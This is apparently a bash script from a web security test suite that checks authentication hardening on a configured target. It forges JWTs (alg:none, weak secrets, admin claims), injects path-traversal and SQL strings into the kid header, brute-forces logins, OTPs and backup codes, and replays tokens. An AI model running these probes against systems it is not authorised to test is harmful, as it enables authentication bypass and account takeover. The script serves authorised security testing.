| 1 |
| 2 |
| 3 |
| 4 |
SCRIPT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")" && pwd)" |
| 5 |
source "$SCRIPT_DIR/../config.sh" |
| 6 |
OUT="$OUT/auth_hardening" |
| 7 |
mkdir -p "$OUT" |
| 8 |
|
| 9 |
echo '=== AUTHENTICATION & IDENTITY HARDENING ===' | tee "$OUT/summary.txt" |
| 10 |
|
| 11 |
url_encode() { printf '%s' "$1" | python3 -c "import sys,urllib.parse; print(urllib.parse.quote(sys.stdin.read().strip()))"; } |
| 12 |
BROWSER="$BROWSER_UA" |
| 13 |
|
| 14 |
| 15 |
echo '' | tee -a "$OUT/summary.txt" |
| 16 |
echo '--- Session Cookie Security Flags ---' | tee -a "$OUT/summary.txt" |
| 17 |
cookie_hdr=$(curl -sk -I --max-time 10 -A "$BROWSER" "$TARGET/" | grep -i 'set-cookie') |
| 18 |
if [ -n "$cookie_hdr" ]; then |
| 19 |
echo "$cookie_hdr" | tee -a "$OUT/summary.txt" |
| 20 |
echo "$cookie_hdr" | grep -qi 'httponly' && echo " [PASS] HttpOnly present" || echo " [WARN] HttpOnly MISSING" | tee -a "$OUT/summary.txt" |
| 21 |
echo "$cookie_hdr" | grep -qi 'secure' && echo " [PASS] Secure present" || echo " [WARN] Secure MISSING" | tee -a "$OUT/summary.txt" |
| 22 |
echo "$cookie_hdr" | grep -qi 'samesite' && echo " [PASS] SameSite present" || echo " [WARN] SameSite MISSING" | tee -a "$OUT/summary.txt" |
| 23 |
echo "$cookie_hdr" | grep -qi '__Secure-\|__Host-' && echo " [PASS] Cookie prefix hardened" || echo " [INFO] No __Secure-/__Host- prefix" | tee -a "$OUT/summary.txt" |
| 24 |
else |
| 25 |
echo " [INFO] No Set-Cookie header on homepage" | tee -a "$OUT/summary.txt" |
| 26 |
fi |
| 27 |
|
| 28 |
| 29 |
echo '' | tee -a "$OUT/summary.txt" |
| 30 |
echo '--- JWT Algorithm Confusion ---' | tee -a "$OUT/summary.txt" |
| 31 |
| 32 |
NONE_HDR=$(printf '{"alg":"none","typ":"JWT"}' | python3 -c "import sys,base64; d=sys.stdin.read(); print(base64.urlsafe_b64encode(d.encode()).rstrip(b'=').decode())") |
| 33 |
CLAIMS=$(printf '{"sub":"admin","role":"admin","iat":1700000000,"exp":9999999999}' | python3 -c "import sys,base64; d=sys.stdin.read(); print(base64.urlsafe_b64encode(d.encode()).rstrip(b'=').decode())") |
| 34 |
NONE_TOKEN="${NONE_HDR}.${CLAIMS}." |
| 35 |
for ep in "/encrypt" "/decrypt" "/keys/generate" "/admin" "/users" "/config"; do |
| 36 |
resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \ |
| 37 |
-H "Authorization: Bearer $NONE_TOKEN" "$API_TARGET$ep") |
| 38 |
[ "$resp" = "200" ] && echo " [!!!] JWT alg:none ACCEPTED on $ep" || echo " [PASS] $ep โ $resp (rejected)" | tee -a "$OUT/summary.txt" |
| 39 |
done |
| 40 |
|
| 41 |
| 42 |
echo '' | tee -a "$OUT/summary.txt" |
| 43 |
echo '--- JWT kid Header Injection ---' | tee -a "$OUT/summary.txt" |
| 44 |
for kid_val in "../../etc/passwd" "' OR 1=1--" "/dev/null" "../../../../dev/null"; do |
| 45 |
KID_HDR=$(printf "{\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"$kid_val\"}" | python3 -c "import sys,base64; d=sys.stdin.read(); print(base64.urlsafe_b64encode(d.encode()).rstrip(b'=').decode())") |
| 46 |
KID_TOKEN="${KID_HDR}.${CLAIMS}.fakesig" |
| 47 |
resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \ |
| 48 |
-H "Authorization: Bearer $KID_TOKEN" "$API_TARGET/encrypt") |
| 49 |
[ "$resp" = "200" ] && echo " [!!!] kid injection ACCEPTED: $kid_val" || echo " [PASS] kid='$kid_val' โ $resp" | tee -a "$OUT/summary.txt" |
| 50 |
done |
| 51 |
|
| 52 |
| 53 |
echo '' | tee -a "$OUT/summary.txt" |
| 54 |
echo '--- JWT Weak Secret Check ---' | tee -a "$OUT/summary.txt" |
| 55 |
WEAK_SECRETS=("secret" "password" "123456" "jwt_secret" "changeme" "supersecret" "qwerty") |
| 56 |
WEAK_CLAIMS=$(printf '{"sub":"1","role":"user","exp":9999999999}') |
| 57 |
for secret in "${WEAK_SECRETS[@]}"; do |
| 58 |
token=$(python3 -c " |
| 59 |
import hmac, hashlib, base64, json |
| 60 |
h = base64.urlsafe_b64encode(b'{\"alg\":\"HS256\",\"typ\":\"JWT\"}').rstrip(b'=').decode() |
| 61 |
p = base64.urlsafe_b64encode(b'{\"sub\":\"1\",\"role\":\"user\",\"exp\":9999999999}').rstrip(b'=').decode() |
| 62 |
sig = hmac.new('$secret'.encode(), f'{h}.{p}'.encode(), hashlib.sha256).digest() |
| 63 |
s = base64.urlsafe_b64encode(sig).rstrip(b'=').decode() |
| 64 |
print(f'{h}.{p}.{s}') |
| 65 |
" 2>/dev/null) |
| 66 |
[ -n "$token" ] && { |
| 67 |
resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \ |
| 68 |
-H "Authorization: Bearer $token" "$API_TARGET/encrypt") |
| 69 |
[ "$resp" = "200" ] && echo " [!!!] WEAK SECRET '$secret' ACCEPTED" || echo " [PASS] secret='$secret' โ $resp" | tee -a "$OUT/summary.txt" |
| 70 |
} |
| 71 |
done |
| 72 |
|
| 73 |
| 74 |
echo '' | tee -a "$OUT/summary.txt" |
| 75 |
echo '--- Credential in URL ---' | tee -a "$OUT/summary.txt" |
| 76 |
resp=$(curl -sk -o "$OUT/cred_url.txt" -w '%{http_code}' --max-time 8 -A "$BROWSER" \ |
| 77 |
"$API_TARGET/encrypt?api_key=test_key_12345&password=supersecret") |
| 78 |
grep -qi 'api_key\|password\|token\|secret' "$OUT/cred_url.txt" && \ |
| 79 |
echo " [WARN] Credentials in URL reflected in response" || echo " [PASS] Credentials in URL not reflected ($resp)" | tee -a "$OUT/summary.txt" |
| 80 |
|
| 81 |
| 82 |
echo '' | tee -a "$OUT/summary.txt" |
| 83 |
echo '--- Login Brute Force (10 attempts, expect lockout or 401) ---' | tee -a "$OUT/summary.txt" |
| 84 |
lock=0 |
| 85 |
for i in $(seq 1 10); do |
| 86 |
resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER" \ |
| 87 |
-X POST -H 'Content-Type: application/json' \ |
| 88 |
-d "{\"username\":\"admin\",\"password\":\"wrong$i\"}" \ |
| 89 |
"$API_TARGET/auth/login" 2>/dev/null) |
| 90 |
[ "$resp" = "429" ] || [ "$resp" = "423" ] || [ "$resp" = "403" ] && { lock=1; echo " [PASS] Lockout triggered at attempt $i ($resp)"; break; } |
| 91 |
done |
| 92 |
[ "$lock" -eq 0 ] && echo " [WARN] No lockout after 10 failed attempts (last: $resp)" | tee -a "$OUT/summary.txt" |
| 93 |
|
| 94 |
| 95 |
echo '' | tee -a "$OUT/summary.txt" |
| 96 |
echo '--- Refresh Token Replay ---' | tee -a "$OUT/summary.txt" |
| 97 |
resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \ |
| 98 |
-X POST -H 'Content-Type: application/json' \ |
| 99 |
-d '{"refresh_token":"eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiIxIn0.fakesig"}' \ |
| 100 |
"$API_TARGET/auth/refresh") |
| 101 |
[ "$resp" = "200" ] && echo " [!!!] Fake refresh token ACCEPTED" || echo " [PASS] Fake refresh token rejected ($resp)" | tee -a "$OUT/summary.txt" |
| 102 |
|
| 103 |
| 104 |
echo '' | tee -a "$OUT/summary.txt" |
| 105 |
echo '--- Auth Scheme Enumeration ---' | tee -a "$OUT/summary.txt" |
| 106 |
for scheme in "Basic YWRtaW46YWRtaW4=" "Bearer null" "Bearer undefined" "Bearer 0" "Token admin"; do |
| 107 |
resp=$(curl -sk -o /dev/null -w '%{http_code}' --max-time 8 -A "$BROWSER" \ |
| 108 |
-H "Authorization: $scheme" "$API_TARGET/encrypt") |
| 109 |
echo " [$resp] Authorization: $scheme" | tee -a "$OUT/summary.txt" |
| 110 |
done |
| 111 |
|
| 112 |
cat "$OUT/summary.txt" |
| 113 |
|
| 114 |
| 115 |
OUT_FILE="$OUT/19_auth_hardening.txt" |
| 116 |
echo "" | tee -a "$OUT_FILE" |
| 117 |
echo "--- 2FA / MFA Bypass ---" | tee -a "$OUT_FILE" |
| 118 |
|
| 119 |
| 120 |
echo " OTP brute force (sample codes):" | tee -a "$OUT_FILE" |
| 121 |
for OTP in 000000 123456 000001 111111 999999 123123 654321; do |
| 122 |
CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \ |
| 123 |
-A "$BROWSER_UA" -X POST \ |
| 124 |
-H 'Content-Type: application/x-www-form-urlencoded' \ |
| 125 |
-d "otp=$OTP&username=admin" \ |
| 126 |
"$TARGET/admin/2fa" 2>/dev/null || \ |
| 127 |
curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \ |
| 128 |
-A "$BROWSER_UA" -X POST -H 'Content-Type: application/json' \ |
| 129 |
-d "{\"otp\":\"$OTP\",\"username\":\"admin\"}" \ |
| 130 |
"$API_TARGET/auth/verify-otp" 2>/dev/null) |
| 131 |
printf ' [%s] OTP brute force: %s\n' "$CODE" "$OTP" | tee -a "$OUT_FILE" |
| 132 |
done |
| 133 |
|
| 134 |
| 135 |
OTP_REPLAY="123456" |
| 136 |
CODE1=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \ |
| 137 |
-A "$BROWSER_UA" -X POST -H 'Content-Type: application/json' \ |
| 138 |
-d "{\"otp\":\"$OTP_REPLAY\"}" "$API_TARGET/auth/verify-otp") |
| 139 |
CODE2=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \ |
| 140 |
-A "$BROWSER_UA" -X POST -H 'Content-Type: application/json' \ |
| 141 |
-d "{\"otp\":\"$OTP_REPLAY\"}" "$API_TARGET/auth/verify-otp") |
| 142 |
printf ' [%sโ%s] OTP replay (same code submitted twice โ both should fail)\n' "$CODE1" "$CODE2" | tee -a "$OUT_FILE" |
| 143 |
|
| 144 |
| 145 |
echo " Backup code enumeration:" | tee -a "$OUT_FILE" |
| 146 |
for BACKUP in "00000000" "12345678" "AAAAAAAA" "backup1" "recovery1"; do |
| 147 |
CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \ |
| 148 |
-A "$BROWSER_UA" -X POST -H 'Content-Type: application/json' \ |
| 149 |
-d "{\"backup_code\":\"$BACKUP\",\"username\":\"admin\"}" \ |
| 150 |
"$API_TARGET/auth/backup-code" 2>/dev/null || echo "404") |
| 151 |
printf ' [%s] Backup code: %s\n' "$CODE" "$BACKUP" | tee -a "$OUT_FILE" |
| 152 |
done |
| 153 |
|
| 154 |
| 155 |
CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 8 \ |
| 156 |
-A "$BROWSER_UA" \ |
| 157 |
-H 'Authorization: Bearer PARTIAL_AUTH_STEP1_TOKEN' \ |
| 158 |
"$API_TARGET/encrypt") |
| 159 |
printf ' [%s] MFA skip โ step-1 token on protected endpoint (should be 401)\n' "$CODE" | tee -a "$OUT_FILE" |
| 160 |
|
| 161 |
| 162 |
echo " 2FA endpoint discovery:" | tee -a "$OUT_FILE" |
| 163 |
for EP in /2fa /mfa /verify /otp /totp /auth/verify /auth/otp /auth/mfa /auth/totp /api/auth/verify; do |
| 164 |
CODE=$(curl -sk --http2 -o /dev/null -w '%{http_code}' --max-time 5 -A "$BROWSER_UA" "$TARGET$EP") |
| 165 |
[ "$CODE" != "404" ] && [ "$CODE" != "000" ] && \ |
| 166 |
printf ' [%s] %s\n' "$CODE" "$EP" | tee -a "$OUT_FILE" |
| 167 |
done |
| 168 |
echo "" | tee -a "$OUT_FILE" |
| 169 |
|